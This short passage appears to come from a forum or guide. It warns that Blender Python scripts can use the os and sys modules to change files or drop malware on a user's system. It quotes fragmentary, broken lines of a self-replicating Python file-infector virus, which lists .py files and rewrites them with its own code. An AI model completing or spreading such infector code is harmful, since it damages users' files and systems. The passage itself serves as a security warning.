Since os and sys modules are shipped with blender, the script could manipulate your files on disk, write files or overwrite them.
It could save some dll libraries or whole programs on your system. It could be malware, sniffing programs, viruses etc.
An example virus by Deque looks like this:
os.rename(filename, filename + "~")
destination = open(filename, "w")
source = open(filename + "~", "r")
this = open(__main__.__file__, "r")
for line in this:
for line in source:
f = open(filename, "x")
path = "."
dirs = os.listdir(path)
for filename in dirs:
if filename.endswith(".py") and not is_infected(filename):
print "----------this is silly python virus----------"
This is a "harmless" code able of replicating itself. There is a bug in the code to prevent noobs from running it.